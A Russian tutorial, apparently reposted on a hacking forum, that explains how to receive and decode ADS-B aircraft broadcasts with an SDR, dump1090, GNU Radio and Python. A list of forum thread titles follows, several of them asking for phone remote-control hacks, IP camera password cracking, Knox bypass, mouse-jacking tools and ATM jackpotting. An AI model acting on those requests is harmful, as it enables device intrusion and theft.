Если внимательно почитать описание Mode S, можно заметить, что сообщения, которые передаются по этому протоколу, должны отправляться транспондером по запросу наземного диспетчера — все, кроме ADS-B (Automatic Dependent Surveillance — Broadcast). На русский язык это вольно переводится как «автоматическая система слежения за самолетами». Слово Broadcast тут означает, что сообщения передаются всем подряд, а не кому‑то конкретному, и это открывает перед нами возможность их принимать.

Многие выделяют ADS-B как отдельный режим работы транспондера, на уровне Mode A, C или S, но на самом деле это всего лишь часть одного большого режима S. Сообщение ADS-B — это просто сообщение Mode S, имеющее тип 17.

Типы сообщений Mode S​

В этой статье рассматривается только ADS-B (тип 17), но для общего развития будет нелишним знать и про другие типы сообщений Mode S:

Особенно хитро работает ACAS, но разговор о нем выходит за рамки этой статьи. Если хочешь глубже изучить тему — отмечайся в комментариях, и, возможно, я напишу продолжение!
Все сообщения Mode S передаются на самолет на частоте 1030 МГц, а на землю — на частоте 1090 МГц.

Сама радиопередача никак не шифруется, а передается масса интересной информации о местонахождении самолета, его высоте, скорости и других параметрах, так что в какой‑то момент появились сервисы вроде Flightradar24, которые сделали информацию о самолетах доступной всем и даром. Сами сервисы эту информацию получают от большого количества датчиков, установленных у добровольцев по всему миру. Ты тоже можешь стать одним из них — достаточно просто изъявить желание и получить от владельцев сервиса датчик для установки.

Физическая структура сигнала​

Сигналы ADS-B самолет передает на частоте 1090 МГц, как и все остальные сигналы Mode S. Вторая частота — 1030 МГц (uplink) — тут не нужна, потому что сигналы ADS-B передаются без запроса.

Для кодирования используется PPM (Pulse-Position Modulation). Грубо говоря, в эфир просто передаются биты, которые можно прочитать, сделав выборку каждые N микросекунд. Это хорошо видно на изображении из Википедии.
Как работает PPM
В ADS-B длительность каждого такого бита равна 0,5 мкс, а значит, можно сделать выборку каждые 0,5 мкс, увидеть высокий или низкий уровень каждого бита, записать, а потом преобразовать результат в байты, чтобы получить исходное сообщение. Но это в теории, потому что на практике есть проблемы, с которыми мы будем разбираться по ходу повествования.

Структура пакета​

Если принять данные как есть, получится битовая каша, из которой еще нужно вытащить полезные данные. Сами они имеют очень четкую структуру, так что, если заметить ее постоянные части в потоке данных, можно будет получить и весь пакет.


Пакет состоит из преамбулы и собственно данных. На картинке выше хорошо видно, что преамбула идет 8 мкс, а дальше в течение 56 или 112 мкс идут данные.

Вступление особенно важно, если вспомнить, что все самолеты вещают на одной частоте и сигналы от них могут приходить одновременно. Проблема потери накладывающихся сигналов решается очень просто: если что‑то не ловится, это поймает кто‑то другой. Приемников очень много, и покрывают они всю обитаемую площадь Земли, так что, если конкретный сигнал оказался слишком слабым и не был принят на одном приемнике, он будет достаточно громким для другого приемника и не потеряется. Конечно, такой подход не означает, что будут получены все сигналы, но это и не нужно — они регулярно повторяются, и от потери части сигналов беды не будет.

Я уже говорил, что каждый бит кодируется 0,5 мкс, и это действительно так, но для упрощения приема была введена условность: 1 настоящий бит кодируется двумя по 0,5 мкс. Единица при этом кодируется как 1 и 0, а ноль — как 0 и 1 (то есть данные 1011 будут выглядеть как 10011010). Это не усложняет приемник, но защищает от помех и позволяет надежно ловить сигнал. Без этой доработки передача нескольких нулей будет выглядеть как тишина в эфире, а так приемник всегда точно видит сигнал, даже если передаются нули.

Структура полезных данных​

Предположим, мы декодировали сигнал и нашли в нем сообщение. Теперь нужно декодировать блок полезных данных и отсеять ненужное (то есть все сообщения Mode S, кроме ADS-B).
Поля ADS-B
Длина интересующего нас сообщения — 112 мкс, что как раз равно 112 бит (спасибо двухбитному кодированию!), и делится оно на пять основных блоков:

  1. DF (Downlink Format) — код формата передачи, 5 бит. Для ADS-B он всегда равен 17.
  2. CA (Transponder capability) — тип передатчика и его уровень возможностей, 3 бита. Нужно это поле для того, чтобы диспетчер знал, какие данные можно запрашивать у этого транспондера. Это поле может иметь значение 0, 4, 5 или 6, а 1–3 и 7 зарезервированы для будущего использования. 0 — это транспондер первого уровня, и обычно такие транспондеры не имеют ACAS (системы предотвращения столкновений). 4 — это транспондер второго или более совершенного уровня, тоже не имеющий ACAS, но умеющий передавать высоту (то есть работать с Mode C и Mode S). 5 и 6 — это тот же 4, но с поддержкой ACAS, который может быть включен (6) или выключен (5).
  3. ICAO — уникальный номер самолета, 24 бита. Номер нужен для определения отправителя сигнала. Этот номер однократно прошивается на заводе и никогда не меняется в процессе эксплуатации, но все же есть ребята, которые умеют их менять. Существуют еще военные транспондеры, но на них вообще никакие правила не действуют, так что там может быть что угодно.
  4. ME (Message) — собственно полезная нагрузка с данными о высоте, скорости или чем‑то другим, длина — 56 бит. Этот блок мы будем подробно разбирать ниже.
  5. PI (Parity/Interrogator ID) — контрольная сумма, 24 бита.

Поле ME​

Поле ME — это самая интересная для нас часть, ведь именно тут передаются координаты, скорость полета, высота и другие данные с бортовых датчиков. 56 бит маловато для передачи всех данных разом, так что у каждого сообщения свой тип, который указывается в первых пяти битах этого поля. Получается эдакая матрешка: свой формат сообщения у Mode S, чтобы обозначить ADS-B, и свой формат сообщения внутри ADS-B, чтобы сказать, что за данные внутри.

Всего у ADS-B 31 тип данных, но мы разберем только самые главные.

Код 1–4 — сообщение с идентификационными данными. Там содержится позывной и другие данные, связанные с регистрацией и опознавательными свойствами самолета (например, легкий летательный аппарат или тяжелый). Эти позывные показываются на терминалах в аэропортах и представляют собой номер рейса. Декодированное сообщение выглядит примерно так:

Code:Copy to clipboard

ME : ADSB Msg Type  : (4) Aircraft Identification and Category
CAT: Aircraft Cat   : (0:0) No ADS-B Emitter Category Information
    flight Number   : SIA224
Wake Type           : (TC:4 CAT:0) - No Information Provided

Код 5–8 — позиция на земле. Эти данные обычно используются, чтобы знать, где и на какой полосе находится самолет. В сообщении можно найти широту, долготу, скорость и направление движения самолета. Пример декодированного сообщения:

Code:Copy to clipboard

ME : ADSB Msg Type  : (7) Surface Position
  Super Sonic?      : No
  velocity          : 0.00
  EW/NS VEL         : (East/west: 0) (North/South: 0)
  heading           : 253.12
Before Decoding : Half of vehicle location
  UTC Sync?     : false
  CPR Frame     : Odd
  CPR latitude  : 8675
  CPR longitude : 17674

Код 9–19 — позиция в воздухе (обычно передается вместе с высотой). Важно понимать, что найти в примере ниже привычную широту и долготу нельзя, поскольку используется короткая нотация координат вместо нормальной. Что делать с такими координатами — расскажу ниже.

Code:Copy to clipboard

ME : ADSB Msg Type  : (14) Airborne Position (with Barometric altitude)
  Containment Radius: 1852.00 metres
  Surveillance      : (status:0) No condition information
  NIC Supplement B  : 0
  Nav Integrity     : 5
AC: altitude        : 3100 feet (q bit: false, m bit: false)
Before Decoding : Half of vehicle location
  UTC Sync?     : true
  CPR Frame     : Odd
  CPR latitude  : 101906
  CPR longitude : 103292

Код 19 — скорость воздушного судна.

Code:Copy to clipboard

ME : ADSB Msg Type  : (19) Airborne velocity
SUB:      Sub Type  : 3
  Intent Change     : false
  IFR Capable       : true
  Nav Accuracy Cat  : 0
  heading           : 8.44
  Super Sonic?      : No
  velocity          : 136.00
  EW/NS VEL         : (East/west: 0) (North/South: 0)
  Vertical Rate     : -768
  HAE Delta         : Unavailable

Разбирать по битам структуру каждого сообщения можно очень долго, так что, если тебе действительно интересно, можно поискать готовые парсеры ADS-B на GitHub и подсмотреть структуру там. Нам же сейчас разбирать строение этих сообщений нет смысла еще и потому, что передавать мы пока что ничего не будем, а углубляться в тонкости протокола не хочется.

CPR, ИЛИ КАК УСЛОЖНИТЬ ПРОСТОЕ​

Для точного определения координат обычно используются два числа — широта и долгота. 32 бита float обеспечивают точность до семи знаков после запятой, что в пересчете на координаты дает точность порядка нескольких сантиметров, а если чуть уменьшить точность (до десятков сантиметров), то два таких числа как раз можно запихнуть в 56 бит сообщения, и не придется городить неведомо что с компактными координатами. Точность даже в десятки сантиметров для самолета, летящего со скоростью больше 100 м/с, просто огромна, так что, чем руководствовались авторы протокола, понять сложно.

Тем не менее для записи координат используется формат CPR (Compact Position Reporting), который, как ясно из названия, предназначен для компактной передачи координат. Часть данных мы уже видели в примере сигнала с координатами выше. Поскольку ужать большое количество данных в маленький объем невозможно, эти данные просто разделили на части и отправляют в два захода, а пакеты стали называться просто «четный» и «нечетный». Как из этого получить нормальные координаты? Сейчас покажу!

Представим, что все самолеты летают в 2D-пространстве. Это одно пространство разделим на две сетки с разными параметрами и назовем их четной сеткой и нечетной. Четную сделаем 4 на 4, а нечетную — 5 на 5.

Допустим, мы хотим передать местоположение самолета в сетке размером 16 на 16 — пусть это будут координаты (9,7). Если бы у нас была одна сетка, то мы бы передали просто 9 и 7, а операторы бы у себя на карте нас нашли, но в CPR на самом деле сеток две.
Две сетки координат
В таких сетках мы укажем наше положение (9,7) в виде (1,3) на четной сетке (слева) и (4,2) в нечетной сетке (справа). Когда оператор получает оба сообщения, ему нужно совместить их на обеих сетках.
Две сетки с нанесенными данными из пакетов
Если наложить сетки с полученным координатами друг на друга, в точке совпадения и будет находиться искомый объект.
Вычисление полных координат
Я описал алгоритм без математических выкладок и прочих сложностей, чтобы ты мог примерно представить себе, как работает восстановление координат из двух частей. Реальная сетка далека от случая из примера и выглядит, как на картинке ниже.
Реальная сетка

ПРОСТОЙ СПОСОБ ПРИНЯТЬ ADS-B​

Теперь, когда мы знаем устройство всех основных частей протокола, можно попробовать принять реальный сигнал. Для приема любого подобного сигнала потребуются три базовые вещи: антенна, приемник и ПК.

Антенна​

Начнем с самого важного предмета, без которого не обходится никакая радиосвязь, — антенны. Выбор антенны зависит от множества факторов, включая частоту, направленность сигнала, среду его прохождения. Наш сигнал передается на частоте 1090 МГц, и принимать мы его будем на открытом воздухе. Самый простой вариант (но не самый эффективный) — это обычная штыревая антенна. Такую антенну можно сделать из куска провода или проволоки, главное здесь — правильно рассчитать ее длину. Длина антенны зависит от длины волны, которую мы хотим на эту антенну принимать. Длина волны — это расстояние между двумя соседними «горбами» сигнала (на рисунке снизу).
Длина волны — это λ
Лямбда — это и есть длина волны, а получить ее из частоты можно по формуле λ = C/f , где С — скорость света, а f — частота сигнала. Для 1090 МГц она будет примерно равна 27,5 см. Если взять металлический штырь такой длины, то у тебя получится так называемая полноволновая антенна, которую можно спокойно укоротить вдвое или даже в четыре раза, чтобы получить полуволновую или четвертьволновую антенну соответственно. Разница в чувствительности этих антенн, конечно, будет, так что советую использовать полуволновую антенну, длина которой составит примерно 13,75 см.

Если хочешь поколхозить по полной, почитай гайд, как сделать дипольную антенну для работы с ADS-B из пробки и проволоки.

Делать свою антенну я не буду — это не самое простое занятие, да и нужная антенна у меня уже была. Тебе могут подойти, например, антенны для раций, если принимать на открытом пространстве и вокруг не слишком много шумов. Я использую обычную штыревую coil-loaded-антенну, которая, по сути, работает как штыревая, но за счет катушки имеет меньшую длину.

Моя антенна
Основные характеристики антенны можно измерить специальным векторным анализатором, который генерирует разные частоты и проверяет реакцию антенны на них.

Векторный анализатор NanoVNA
Вывод анализатора кажется сложным на первый взгляд, но на самом деле все довольно просто. Чтобы узнать, годится ли антенна для какой‑то конкретной частоты, достаточно посмотреть на желтую линию SWR, которая по‑русски называется КСВ (коэффициент стоячей волны). Этот коэффициент показывает, какую часть сигнала антенна передала в эфир, а какая вернулась. Чем меньше сигнала вернулось, тем лучше антенна работает на конкретной частоте.

На приборе видно, что на метке 1 (я выставил ее на частоту 1090 МГц) SWR равен 1,73, что очень даже неплохо. Обычно хорошей антенной считается та, у которой КСВ около 1 (не больше 2).

Приемник​

В качестве приемника мы будем использовать SDR-донгл. Он представляет собой обыкновенное радио, которое управляется с помощью специальных программ, а не крутилкой с делениями, как на дедовских приемниках. Для приема ADS-B подойдет любой SDR-адаптер, начиная с самого дешевого RTL-SDR и заканчивая дорогими BladeRF и ему подобными. Цена дешевых вариантов начинается от 30 долларов, так что приобщиться может каждый.

Я буду использовать BladeRF micro — он поддерживает большой диапазон частот и имеет большую частоту выборки, о которой поговорим позже.

BladeRF
Если у тебя еще нет SDR — не беда, RTL-SDR стоит всего около 30 долларов и продается во многих интернет‑магазинах. Вот только имей в виду, что этот прибор умеет только принимать сигналы, но не умеет передавать их.

Собираем всё вместе​

Теперь, когда у тебя есть антенна и SDR, нужно найти свободное от помех и препятствий место — я просто выехал за город километров на десять. Сигналы около 1 ГГц (к которым относится и наш ADS-B) почти не распространяются за горизонт, так что, если ты не живешь около аэропорта и вокруг есть препятствия, можно не поймать вообще ничего.

Как улучшить прием​

Между антенной и SDR можно добавить фильтр, который отсечет часть шумов. Существуют специальные фильтры для ADS-B, заказать из Китая можно за 10–15 долларов.
Для изучения эфира я буду использовать GQRX, эта программа доступна для Linux и macOS. Если у тебя Windows, рекомендую SDR#. В Ubuntu GQRX устанавливается из штатных репозиториев:

Code:Copy to clipboard

apt update
apt install -y gqrx

Дальше делаем звук погромче, выбираем источником наш SDR и нажимаем на большую кнопку «Старт». Если все сделано правильно, из динамиков начнет шипеть так, что ты подпрыгнешь на стуле, после чего отключишь звуки кнопкой Mute, расположенной в правом нижнем углу.

Частоту приема можно выбрать в верхней части экрана — нужно задать там значение 1.090.000, что равно 1090 МГц. После этого ты увидишь что‑то похожее на скриншот внизу.

Сигнал в GQRX
Короткие полоски по центру — это и есть сигнал ADS-B, который заметно выделяется на фоне окружающего шума. Если у тебя их нет, попробуй изменить параметры усиления на вкладке Input Controls справа. Если и это не помогло, перейди на вкладку FFT Settings и настрой параметры Plot и WF. Еще можно попробовать покрутить антенну или положить ее в разных направлениях.

Dump1090​

Когда ты добьешься стабильного приема сигнала в GQRX, можешь переходить к следующему шагу.

В обычных случаях, если кто‑то хочет просто принять сигналы Mode S и декодировать их, он использует уже готовую программу dump1090. Эта тулза с исходным кодом умеет демодулировать и декодировать почти все сигналы Mode S и даже выводит их в виде красивой таблички. Чтобы проверить, все ли у нас работает корректно, лучше начать с чего‑то заведомо рабочего, и начнем мы с dump1090.

Для установки нужно клонировать репозиторий проекта с GitHub и собрать бинарник. Делается это проще простого:

Code:Copy to clipboard

git clone https://github.com/antirez/dump1090
cd dump1090
make

После этого у тебя должен появиться бинарник dump1090. Если у тебя RTL-SDR, можешь использовать dump1090 напрямую с ним, но у меня BladeRF, для поддержки которого нужно немного повозиться.

Во‑первых, установи драйвер для своего SDR — их можно найти в репозиториях практически всех дистрибутивов, погуглить.

Во‑вторых, нужно будет накатить на SDR специальную прошивку. Для BladeRF эти прошивки доступны на сайте Nuand, где нужно выбрать соответствующий файл для своей версии BladeRF.

Дальше скачиваем программу для декодирования сообщений ADS-B и собираем ее:

Code:Copy to clipboard

git clone https://github.com/Nuand/bladeRF-adsb
cd bladeRF-adsb/bladeRF_adsb
make

Теперь заливаем прошивку в BladeRF. Сделать это можно с помощью пакета bladerf-cli:

Code:Copy to clipboard

bladeRF-cli -l ~/Downloads/adsbxA4.rbf

Теперь запускаем в одном окне dump1090, а в другом — bladeRF-adsb, который мы собирали парой шагов раньше:

Code:Copy to clipboard

~/Soft/dump1090/dump1090 --raw --device-type bladerf --bladerf-fpga ''
~/Soft/Blade/bladeRF-adsb

Если все сделано верно, в окне с dump1090 ты увидишь кучу строк в шестнадцатеричном виде. Это и есть сообщения Mode S, которые надо еще декодировать и отфильтровать.
Пример сырого вывода dump1090
Если убрать --raw из аргументов запуска dump1090, то сигналы будут автоматически декодироваться и выводиться в таблицу, как на скриншоте ниже.

Декодированные сигналы Mode S в dump1090
В таблице можно найти уже декодированные из CPR широту и долготу, позывной самолета, его скорость, высоту и другие данные. Но это было бы слишком просто, не правда ли? Давай декодировать эти данные самостоятельно!

СЛОЖНЫЙ СПОСОБ ПРИНЯТЬ ADS-B​

Чтобы принять сигнал самостоятельно, нужно сначала демодулировать его, а потом декодировать то, что получится.

Демодуляция (детектирование сигнала) — процесс, обратный модуляции колебаний, выделение информационного (модулирующего) сигнала из модулированного колебания высокой (несущей) частоты. Простым языком демодуляция — это выделение сигнала из колебаний высокой частоты.

ADS-B работает с PPM-модуляцией, то есть, чтобы выделить полезный сигнал, нужно каждые 0,5 мкс определять состояние сигнала (0 или 1). План у нас будет следующий:

  1. Записать сигнал.
  2. Сделать выборки каждые 0,5 мкс.
  3. Преобразовать их в байты.
  4. Декодировать сообщения ADS-B.

Для удобства будем использовать Python либо готовый набор инструментов GNU Radio. На Ubuntu GNU Radio устанавливается следующим образом:

Code:Copy to clipboard

sudo add-apt-repository ppa:gnuradio/gnuradio-releases -y
sudo apt update
sudo apt install gnuradio -y

Разумеется, для работы GNU Radio потребуются и драйверы для твоей SDR. При этом мы не будем использовать SDR как основной источник сигнала, чтобы можно было на заведомо одинаковых данных погонять разные алгоритмы и сравнить результаты.

Запись сигнала​

Первое, что нужно сделать после запуска GNU Radio, — это собрать базовый пайплайн. Выглядеть он будет, как на скриншоте ниже.

Базовый пайплайн
Всего тут пять блоков, два из которых — опции и переменная. В самом начале стоит osmocom Source, который отвечает за получение сырых данных из SDR. Настроек в нем много, но для работы нужны всего пять (пример ниже — для BladeRF):

  1. Device Argument — аргументы, которые будут переданы SDR. Тут вписываем bladerf=0.
  2. Ch0 Freq — частота нулевого канала. У BaldeRF их два, но нам нужен только один. Сюда вписываем частоту ADS-B — это 1090 МГц или 1,09 ГГц.
  3. RF Gain — параметр, задающий чувствительность приемника. Я установил его в 15 дБ. Не ставь слишком большую чувствительность — мощные сигналы могут повредить радиотракт!
  4. Bandwidth — ширина канала приема, для ADS-B это 2 МГц.

Пятый параметр — Sample Rate, или частота дискретизации. Простым языком это количество выборок в секунду, которое делает SDR для оцифровки сигнала. Что это и зачем? На вход SDR поступает аналоговый сигнал, а для работы его нужно оцифровать. Для оцифровки сигнала нужно делать выборки через некоторый одинаковый промежуток времени. Чем больше выборок в секунду, тем лучше, но тем мощнее для этого должно быть устройство. Наглядно процесс оцифровки показан на картинке ниже.
Как работает оцифровка
Количество столбиков на картинке — это и есть количество семплов, а SPS в скобках в названии этого параметра расшифровывается как Samples per Second, то есть количество выборок в секунду. В параметре samp_rate вверху я задал частоту выборки 4М SPS, и это неслучайное значение, ведь оно как раз в четыре раза больше частоты входного сигнала, а по теореме Найквиста нужна минимум в два раза большая частота, чем частота сигнала. Для работы с ADS-B можно использовать и частоты 2 и 2,5 MSPS, но чем выше частота дискретизации, тем лучше качество оцифровки.

Теорема Найквиста (она же теорема отсчетов, теорема Котельникова) — фундаментальное утверждение в области цифровой обработки сигналов, связывающее непрерывные и дискретные сигналы и гласящее, что «любую функцию F(t), состоящую из частот от 0 до f1, можно непрерывно передавать с любой точностью при помощи чисел, следующих друг за другом менее чем через 1 / (2 * f1) с».

Теперь, когда все настроено, можно нажимать «Старт» на верхней панели GNU Radio. Если все сделано верно, ты увидишь спектр, похожий на тот, что поймал я.

Визуализация спектра в GNU Radio
Еле заметные полоски в верхней части скриншота — это и есть сигналы, которые мы ищем. Мой BladeRF не откалиброван, так что по бокам видны завалы, но нашему эксперименту они не мешают. Нужно записать несколько минут таких сигналов, после чего можно сворачивать оборудование и идти домой — декодировать!

Демодуляция​

Для демодуляции я собрал в GNU Radio более сложную и интересную схему.

Схема демодуляции сигнала
Давай пробежимся по каждому блоку схемы, чтобы ты понимал, что происходит. На схеме часть входов и выходов имеют разные цвета — эти цвета означают разные типы данных:

Теперь перейдем к самим блокам.

  1. File Source — источник сигнала в виде файла. В этом блоке нужно выбрать файл, который мы записали, когда принимали сигнал. Этот блок заменяет реальную SDR для наших экспериментов.
  2. Throttle — элемент, замедляющий подачу сигнала в нашу схему. Без этого блока вся обработка выполнится слишком быстро и будет ничего не видно.
  3. Waterfall — это визуализация сигнала. Желто‑голубая каша из пикселей на графике — это как раз оно.
  4. QT GUI Time Sink рисует график зависимости сигнала от времени.
  5. Compex To Mag — блок преобразования комплексных чисел в числа с плавающей точкой. На входе у него синие значения, а на выходе оранжевые.
  6. Threshold — самый важный блок в нашей схеме демодуляции, он помогает отделить сигналы от остального шума. Я задал значения low 13m и high 13m — это амплитуды сигналов, которые я хочу отделить.

Как подбирается порог чувствительности​

Чтобы найти порог для твоей SDR, придется собрать еще одну дополнительную схему. Справа в поиске найти блоки Peak Detector и Time Sink. В блоке Time Sink нужно выставить три входа, а если у Peak Detector отсутствует Debug port, то только два. После сборки схемы ты увидишь, на какой амплитуде будут пики полезного сигнала.

  1. Symbol Sync — это еще один важный блок синхронизации символов. Выше я уже говорил, что выбрал частоту дискретизации 4 MSPS, и нужно это как раз для работы блока синхронизации, поскольку его минимальный параметр Samples per Symbol равен 2, а возможно это, только если частота дискретизации входного сигнала не меньше 4 MSPS. Если у тебя не такой крутой приемник (например, RTL-SDR) — не беда, можно отключить Symbol Sync и использовать блок Keep 1 in N (нарисован серым на схеме выше). С блоком синхронизации из сырой записи я в своем тесте получил 18 из 31 хороших пакетов, а без него — 11 из 29. Получается, что, просто используя нормальную синхронизацию, ты получишь значительно больше валидных данных.
  2. Float to Char — этот блок преобразует числа с плавающей запятой в символы и отправляет в File Sink.
  3. File Sink сохраняет байты в файл для дальнейшего анализа.

Со схемой разобрались, можно ее включать. После запуска ты увидишь примерно такую картину.

Схема демодуляции в действии
Самое первое — это наш Waterfall, на нем удобно глазами искать сигнал. Дальше идет Time Sink после синхронизации: тут два сигнала — красный (сигнал ошибки) и синий (исправленный по времени сигнал). Эти сигналы уже напоминают что‑то цифровое, но настоящий цифровой сигнал отображается уже на третьем графике (обработанный блоком Threshold). Четвертый график — это тот же исходный сигнал, что на первом графике, но обработанный блоком Threshold.

Анализ файла​

После демодуляции файл будет выглядеть так.

Code:Copy to clipboard

000717e0: 0000 0100 0100 0000 0000 0001 0000 0000  ................
000717f0: 0101 0000 0100 0000 0000 0101 0000 0100  ................
00071800: 0101 0001 0000 0100 0101 0000 0101 0001  ................
00071810: 0000 0101 0001 0001 0100 0101 0000 0100  ................
00071820: 0100 0100 0100 0101 0001 0001 0001 0000  ................
00071830: 0100 0100 0100 0100 0101 0000 0100 0100  ................
00071840: 0100 0001 0101 0000 0100 0100 0100 0100  ................
00071850: 0100 0100 0100 0100 0100 0100 0100 0100  ................
00071860: 0100 0100 0100 0100 0100 0100 0100 0100  ................
00071870: 0100 0100 0100 0100 0100 0100 0100 0101  ................

Давай теперь прочитаем файл и будем искать в этом потоке данных преамбулу пакета Mode S. Я написал для этого несколько функций на Python.

Python:Copy to clipboard

import requests
def read_binary_file(filename):
 with open(filename, 'rb') as file:
  return [int(byte) for byte in file.read()]
def find_pattern(data, pattern):
 pattern_length = len(pattern)
 matches = []
 for i in range(len(data) - pattern_length + 1):
  if data[i:i+pattern_length] == pattern:
   matches.append(i)
 return matches

Первая функция просто читает файл, а вторая ищет заданный паттерн (нашу преамбулу). Но для поиска нужно сначала собрать двойные биты в одинарные (те самые повторения, из‑за которых бит по 0,5 мкс занимает 1 мкс). Следующая функция как раз это и делает:

Python:Copy to clipboard

def decode_adsb(bits):
  decoded = []
  for i in range(0, len(bits), 2):
   if bits[i:i+2] == [1, 0]:
     decoded.append(1)
   elif bits[i:i+2] == [0, 1]:
     decoded.append(0)
  return decoded

Читаем файл и находим все преамбулы:

Code:Copy to clipboard

data = read_binary_file("decoded2.bin")
pattern = [1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0]
matches = find_pattern(data, pattern)
print("Total matches: ", len(matches))
good = 0
bad = 0

Здесь pattern — это и есть искомая преамбула. Можешь даже отлистать в начало статьи и сравнить. Поскольку преамбула означает любой сигнал Mode S, а не только ADS-B, то могут попадаться сигналы длиной 56 бит. Их поддержка тоже есть.

Python:Copy to clipboard

for match_index in matches:
 try:
  start_index = match_index + len(pattern)
  end_index = start_index + 224
  end_index2 = start_index + 112
  extracted_bits = data[start_index:end_index]
  extracted_bits2 = data[start_index:end_index2]
  decoded_bits = decode_adsb(extracted_bits)
  decoded_bits2 = decode_adsb(extracted_bits2)
  hex_value = hex(int(''.join(map(str, decoded_bits)), 2)).replace('0x','')
  hex_value2 = hex(int(''.join(map(str, decoded_bits2)), 2)).replace('0x','')
  if len(hex_value) == 28:
   response = requests.get(f"http://jasonplayne.com:8080/decode?packet={hex_value}&refLat=&refLon=")
   if "Failed to decode." in response.text:
    bad += 1
   else:
    good += 1
    print(response.text)
  if len(hex_value2) == 14:
   response = requests.get(f"http://jasonplayne.com:8080/decode?packet={hex_value}&refLat=&refLon=")
   if "Failed to decode." in response.text:
    bad += 1
   else:
    good += 1
    print(response.text)
 except:
  pass
print("Total good/bad: ", good, "/", bad)

Прочитав код, ты заметишь, что я вытаскиваю ADS-B-пакеты и отправляю их для декодирования на сторонний сервис, чтобы не изобретать собственный парсер для всех типов пакетов. Этот же сайт можно открыть и просто в браузере, чтобы полистать образцы пакетов и еще глубже окунуться в мир Mode S и ADS-B.

При хорошем раскладе ты увидишь примерно такой вывод:

Code:Copy to clipboard

8d89617999086e99b8480ab9e174
MODE S Packet:
Length              : 56 bits
Frame               : 8d89617999086e99b8480ab9e174
DF: Downlink Format : (17) ADS-B
CA: Plane Mode S Cap: (5) Level 2,3 or 4. can set code 7. is airborne
VS: Vertical status : Airborne
AA: ICAO            : 896179
ME : ADSB Msg Type  : (19) Airborne velocity
SUB:      Sub Type  : 1
  Intent Change     : false
  IFR Capable       : false
  Nav Accuracy Cat  : 1
  heading           : 151.88
  Super Sonic?      : No
  velocity          : 232.65
  EW/NS VEL         : (East/west: 109) (North/South: -204)
  Vertical Rate     : -1088
  HAE Delta         : 225 (Height Above Ellipsoid)

Я получил сигнал со скоростью самолета, но у тебя, конечно, будет их намного больше. DF у меня равен 17 (ADS-B), а ICAO-код транспондера — 896179.

Надеюсь, и тебе понравилось погружение в интересный мир радиосигналов. Приятных исследований!

Источник xakep.ru
Автор @qeewqq
t.me/qeewqw

Pentest mobile
ID: 676535aeb4103b69df37363c
Thread ID: 55930
Created: 2021-08-27T00:30:30+0000
Last Post: 2021-09-08T15:19:35+0000
Author: blad3runn3r
Prefix: GSM
Replies: 6 Views: 533

Some one can give direction to start this new adventure

Удаленное управление смартфоном (взлом). Что можно почитать ?
ID: 676535aeb4103b69df373542
Thread ID: 128295
Created: 2024-12-05T14:58:45+0000
Last Post: 2024-12-09T06:53:50+0000
Author: kzld
Replies: 3 Views: 528

Собственно вопрос в заголовке

Украли iPhone 13, как найти/отследить?
ID: 676535aeb4103b69df3735ab
Thread ID: 101347
Created: 2023-10-31T08:58:49+0000
Last Post: 2023-10-31T16:23:01+0000
Author: DedJhones
Replies: 2 Views: 525

У близкого мне человека в метро украли iPhone 13. Слушала музыку через AirPods, в какой то момент музыка пропала, как и айфон.

Какие есть варианты? Как найти/отследить ?

Sam Knox - открывашка.
ID: 676535aeb4103b69df373626
Thread ID: 59582
Created: 2021-12-02T13:13:01+0000
Last Post: 2022-02-18T04:12:45+0000
Author: Pegas
Replies: 1 Views: 519

Привет комрады. Есть подопечный Samsung s8, Android 11. Вопрос по руту Knox-а. Задача зайти в зищищенную папку. Ребят кто-нить сталкивался?

I'm Looking This Program
ID: 676535aeb4103b69df373578
Thread ID: 113219
Created: 2024-04-24T11:56:28+0000
Last Post: 2024-04-24T20:37:05+0000
Author: AnaximeneS
Replies: 1 Views: 517

Hello, I am looking for a program that I saw years ago. I don't know the name of the program. I think it was used to crack the IP camera password. Does anyone know this program? How can I find?

Translate:

Здравствуйте, я ищу программу, которую видел много лет назад. Я не знаю названия программы. Я думаю, что его использовали для взлома пароля IP-камеры. Кто-нибудь знает эту программу? Как я могу найти?

![gofile.io](/proxy.php?image=https%3A%2F%2Fgofile.io%2Fdist%2Fimg%2Flogo- small-og.png&hash=32429581fada6ae1887e27dfa99f76aa&return_error=1)

video_2024-04-23_20-29-43.mp4

9.0 MiB

gofile.io

photo_2024-04-23_20-30-43.jpgphoto_2024-04-23_20-30-41.jpgphoto_2024-04-23_20-30-39.jpgphoto_2024-04-23_20-30-29.jpgphoto_2024-04-23_20-30-27.jpg

VO-IP(GSM) Установка
ID: 676535aeb4103b69df37358c
Thread ID: 107253
Created: 2024-02-01T20:47:39+0000
Last Post: 2024-02-01T20:47:39+0000
Author: MarkHug3
Replies: 0 Views: 496

Всем привет!
Занимаюсь сейчас установкой и подключением SIM Банк GoIP Simbank-128 и 4-х GOIP gsm шлюзов по 32 слота к нему, что бы офисы могли звонить.

Хотел бы спросить у тех кто разбирается, как это всё грамотно установить и подключить что бы оно работало, подключить всё нужно через Asterisk, в режиме Trunk Gateway Mode.

Кто поможет/посоветует мануал того отблагодарю монеткой.

Приветствую господа. Снятие ошибки на iOS
ID: 676535aeb4103b69df3735ef
Thread ID: 84288
Created: 2023-03-22T11:01:53+0000
Last Post: 2023-03-23T00:53:04+0000
Author: Elhart27364
Replies: 3 Views: 494

Возможно ли поснимать ошибки на iOS устройства по типу. Дисплей Неизвестная деталь? И все ошибки подобного типа когда деталь не оригинальная?

Looking for atm jackpot black box raspberry pi
ID: 676535aeb4103b69df373634
Thread ID: 57670
Created: 2021-10-13T11:30:18+0000
Last Post: 2021-12-01T10:33:22+0000
Author: AnnaSchmidt9
Replies: 1 Views: 492

I am looking for real ATM experts in this area, there are good ways to use ATM to spit money, and now I can visit ATM very well.

Mouse-Jacking
ID: 676535aeb4103b69df373573
Thread ID: 114704
Created: 2024-05-16T19:09:49+0000
Last Post: 2024-05-16T19:09:49+0000
Author: xx_omerta
Replies: 0 Views: 490

Hi, who knows tools to make mouse jacking (not hackrf) ?

как изменить серийный номер жесткого диска и серийный номер BIOS компьютера?
ID: 676535aeb4103b69df3735bd
Thread ID: 97053
Created: 2023-09-01T12:53:56+0000
Last Post: 2023-09-05T08:16:10+0000
Author: tiankong
Replies: 7 Views: 490

как изменить серийный номер жесткого диска и серийный номер BIOS компьютера? Кто-нибудь знает это?

Подслушивание смартфонов со встроенным акселерометром
ID: 676535aeb4103b69df3735c9
Thread ID: 93026
Created: 2023-07-15T18:07:23+0000
Last Post: 2023-07-15T18:07:23+0000
Author: tabac
Prefix: Статья
